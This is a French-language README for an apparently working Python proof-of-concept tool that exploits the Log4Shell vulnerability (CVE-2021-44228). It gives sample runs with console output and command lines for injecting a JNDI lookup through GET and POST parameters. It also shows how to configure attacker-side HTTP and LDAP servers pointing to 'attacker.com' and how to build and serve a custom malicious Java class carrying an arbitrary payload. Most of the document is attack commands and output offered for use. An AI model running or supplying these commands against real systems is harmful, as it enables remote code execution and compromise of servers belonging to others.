
Un PoC tout-en-un en pur Python pour CVE-2021-44228
Un PoC tout-en-un purement Python3 pour CVE-2021-44228.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
C'est un outil en ligne de commande. Toutes les options se trouvent dans le menu d'aide :
python3 log4rce.py --help
La liste est assez longue, donc ce qui suit vous donnera un résumé des fonctionnalités.
L'outil vous permet d'utiliser plusieurs modes d'attaque. Ces attaques sont des extensions de la classe Log4RCE.
Vous pouvez effectuer une attaque automatisée par requête HTTP sur une URL cible.
Vous pouvez effectuer une requête GET comme suit :
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
Vous pouvez effectuer une requête POST comme suit :
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
Le précédent injectera la balise JNDI dans ###.
Si vous ne pouvez utiliser aucun des précédents, utilisez ce mode pour afficher la balise JDNI :
python3 log4rce.py manual
L'outil permet une personnalisation poussée de la plupart des configurations réseau. Tous les serveurs internes peuvent être modifiés pour pointer vers différents emplacements en fonction des paramètres distants.
Vous pouvez configurer le serveur HTTP en utilisant les paramètres suivants :
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
Vous pouvez configurer le serveur LDAP en utilisant les paramètres suivants :
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
L'outil peut gérer certaines personnalisations. La liste suivante présente quelques fonctionnalités qui pourraient vous intéresser.
Vous pouvez injecter un payload dans la classe Java en utilisant :
python3 log4rce.py --payload "PAYLOAD"
Le payload sera injecté dans les chaînes "###".
Vous pouvez construire votre propre classe Java en utilisant la commande suivante :
javac -source 1.7 -target 1.7 /path/to/Exploit.java
Le fichier .class résultant peut être exécuté avec :
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Remarque : Vous pouvez ajouter une chaîne "###" pour permettre l'injection de payload.